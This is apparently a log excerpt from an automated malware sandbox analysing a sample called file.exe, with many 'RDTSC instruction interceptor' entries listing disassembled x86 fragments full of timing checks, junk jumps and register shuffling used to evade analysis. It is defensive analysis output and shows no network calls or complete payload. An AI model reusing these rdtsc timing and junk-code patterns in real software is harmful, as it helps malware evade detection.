                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090257 second address: 50902A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ret 0x0000000c nop 0x0000000d push eax 0x0000000e call 00007F96CD9B87B2h 0x00000013 mov edi, edi 0x00000015 jmp 00007F96C91A861Ah 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F96C91A861Eh 0x00000022 or esi, 2F650058h 0x00000028 jmp 00007F96C91A861Bh 0x0000002d popfd 0x0000002e mov dx, si 0x00000031 popad 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 movzx ecx, bx 0x00000039 push ebx 0x0000003a pop eax 0x0000003b popad 0x0000003c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50902A0 second address: 50902E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F96C9132770h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F96C9132770h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50902E2 second address: 50902FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040021 second address: 5040027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040027 second address: 504005A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F96C91A861Ch 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F96C91A861Eh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F96C91A861Ah 0x0000001e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 504005A second address: 504005E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 504005E second address: 5040064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040064 second address: 5040075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C913276Dh 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040075 second address: 50400A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov si, 7D43h 0x00000012 mov edx, eax 0x00000014 popad 0x00000015 and esp, FFFFFFF8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F96C91A861Ch 0x00000021 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50400A9 second address: 50400B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50400B8 second address: 5040130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96C91A861Fh 0x00000008 pushfd 0x00000009 jmp 00007F96C91A8628h 0x0000000e add al, FFFFFF98h 0x00000011 jmp 00007F96C91A861Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ecx 0x0000001b jmp 00007F96C91A8626h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 pushfd 0x00000027 jmp 00007F96C91A861Ah 0x0000002c and esi, 22EF3D28h 0x00000032 jmp 00007F96C91A861Bh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040130 second address: 504015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, ax 0x00000010 mov ecx, 5940891Bh 0x00000015 popad 0x00000016 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 504015A second address: 5040179 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, 7C7Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040179 second address: 504017E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 504017E second address: 50401F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8622h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F96C91A8621h 0x00000011 xor eax, 31817EB6h 0x00000017 jmp 00007F96C91A8621h 0x0000001c popfd 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F96C91A861Ah 0x00000024 xor ax, 89D8h 0x00000029 jmp 00007F96C91A861Bh 0x0000002e popfd 0x0000002f popad 0x00000030 popad 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F96C91A8620h 0x0000003b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50401F4 second address: 50401F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50401F8 second address: 50401FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50401FE second address: 50402F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d mov ecx, 76AC7EBDh 0x00000012 mov cx, 49B9h 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 jmp 00007F96C9132774h 0x0000001d push eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F96C9132771h 0x00000025 jmp 00007F96C913276Bh 0x0000002a popfd 0x0000002b jmp 00007F96C9132778h 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 jmp 00007F96C9132770h 0x00000037 mov esi, dword ptr [ebp+08h] 0x0000003a pushad 0x0000003b mov edi, ecx 0x0000003d pushfd 0x0000003e jmp 00007F96C913276Ah 0x00000043 jmp 00007F96C9132775h 0x00000048 popfd 0x00000049 popad 0x0000004a xchg eax, edi 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F96C913276Ch 0x00000052 jmp 00007F96C9132775h 0x00000057 popfd 0x00000058 mov ch, 1Dh 0x0000005a popad 0x0000005b push eax 0x0000005c jmp 00007F96C913276Ah 0x00000061 xchg eax, edi 0x00000062 jmp 00007F96C9132770h 0x00000067 test esi, esi 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F96C913276Ah 0x00000072 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50402F9 second address: 50402FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50402FD second address: 5040303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040303 second address: 5040356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F973B086916h 0x0000000f jmp 00007F96C91A8620h 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b jmp 00007F96C91A8620h 0x00000020 je 00007F973B0868FFh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F96C91A861Ah 0x0000002f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040356 second address: 5040365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040365 second address: 504036B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 504036B second address: 5040396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F96C9132775h 0x00000015 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040396 second address: 504039C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 504039C second address: 50403A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50403A0 second address: 50403D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8623h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b or edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F96C91A8625h 0x00000015 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50403D3 second address: 50403EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov si, B0EFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test edx, 61000000h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50403EC second address: 50403F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50403F0 second address: 50403F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030868 second address: 503086E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 503086E second address: 5030872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030872 second address: 5030876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030975 second address: 5030997 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96C913276Dh 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030997 second address: 5030A1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F973B08E003h 0x00000010 jmp 00007F96C91A8624h 0x00000015 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001c pushad 0x0000001d mov ebx, eax 0x0000001f push esi 0x00000020 mov ax, di 0x00000023 pop edi 0x00000024 popad 0x00000025 mov ecx, esi 0x00000027 jmp 00007F96C91A8620h 0x0000002c je 00007F973B08DFDCh 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F96C91A861Eh 0x00000039 adc eax, 349391B8h 0x0000003f jmp 00007F96C91A861Bh 0x00000044 popfd 0x00000045 call 00007F96C91A8628h 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030A1F second address: 5030A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 test byte ptr [76FA6968h], 00000002h 0x0000000d pushad 0x0000000e mov eax, ebx 0x00000010 mov ebx, 70A1D55Ch 0x00000015 popad 0x00000016 jne 00007F973B0180E7h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, 2F965363h 0x00000024 movzx esi, bx 0x00000027 popad 0x00000028 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030A47 second address: 5030A79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8622h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C91A8627h 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030A79 second address: 5030A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030A7F second address: 5030AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F96C91A861Ch 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F96C91A861Dh 0x00000019 popad 0x0000001a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030AA8 second address: 5030AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96C913276Ah 0x00000009 and ax, 1598h 0x0000000e jmp 00007F96C913276Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 call 00007F96C9132770h 0x0000001e pop ebx 0x0000001f mov esi, 6FC1950Dh 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F96C9132776h 0x0000002d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030AFC second address: 5030B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030B02 second address: 5030B68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F96C9132773h 0x00000013 sbb ch, FFFFFFCEh 0x00000016 jmp 00007F96C9132779h 0x0000001b popfd 0x0000001c popad 0x0000001d push dword ptr [ebp+14h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F96C9132778h 0x00000029 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030B68 second address: 5030B77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030BE3 second address: 5030BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esp, ebp 0x0000000a pushad 0x0000000b mov bx, si 0x0000000e mov si, 5755h 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030BFD second address: 5030C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030C01 second address: 5030C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030C05 second address: 5030C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040CC2 second address: 5040CF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, EDC0h 0x00000007 mov ebx, 66E125ECh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F96C913276Bh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F96C9132775h 0x0000001e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040A52 second address: 5040AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F96C91A861Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F96C91A861Dh 0x0000001c adc esi, 29DD9D16h 0x00000022 jmp 00007F96C91A8621h 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040AA5 second address: 5040AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5040AAA second address: 5040AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A861Ah 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0DDA second address: 50B0DEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C913276Ch 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0131 second address: 50B0137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0137 second address: 50B013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B013B second address: 50B0165 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8628h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov si, 920Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ax, 962Fh 0x00000017 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0165 second address: 50B01C8 instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F96C9132771h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 jmp 00007F96C913276Ch 0x00000015 pushad 0x00000016 movzx eax, bx 0x00000019 movsx edi, si 0x0000001c popad 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F96C9132771h 0x00000029 adc ecx, 3B8891A6h 0x0000002f jmp 00007F96C9132771h 0x00000034 popfd 0x00000035 push ecx 0x00000036 pop ebx 0x00000037 popad 0x00000038 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B01C8 second address: 50B01E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov esi, 2DF035EBh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F96C91A861Dh 0x00000016 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50A0EA5 second address: 50A0ED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov edx, ecx 0x0000000e push esi 0x0000000f movsx edx, ax 0x00000012 pop ecx 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F96C9132772h 0x0000001c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050032 second address: 5050037 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050037 second address: 505003D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505003D second address: 50500A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 call 00007F96C91A861Eh 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 pushfd 0x00000012 jmp 00007F96C91A8621h 0x00000017 jmp 00007F96C91A861Bh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F96C91A8626h 0x00000024 mov ebp, esp 0x00000026 jmp 00007F96C91A8620h 0x0000002b pop ebp 0x0000002c pushad 0x0000002d movzx esi, dx 0x00000030 push eax 0x00000031 push edx 0x00000032 mov eax, edi 0x00000034 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0407 second address: 50B040D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B040D second address: 50B042D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8623h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B042D second address: 50B0431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0431 second address: 50B0437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0437 second address: 50B0478 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F96C913276Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F96C9132776h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F96C913276Ah 0x00000020 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0478 second address: 50B0487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0487 second address: 50B04EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f mov ax, dx 0x00000012 pushfd 0x00000013 jmp 00007F96C9132779h 0x00000018 sub esi, 1385ED26h 0x0000001e jmp 00007F96C9132771h 0x00000023 popfd 0x00000024 popad 0x00000025 push dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F96C9132778h 0x00000031 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B04EB second address: 50B04FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B04FA second address: 50B0570 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F96C9132769h 0x0000000e pushad 0x0000000f mov ecx, 113350B3h 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F96C9132774h 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F96C913276Bh 0x00000024 mov eax, dword ptr [eax] 0x00000026 jmp 00007F96C9132779h 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0570 second address: 50B0574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B0574 second address: 50B057A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B057A second address: 50B058E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A8620h 0x00000009 rdtsc
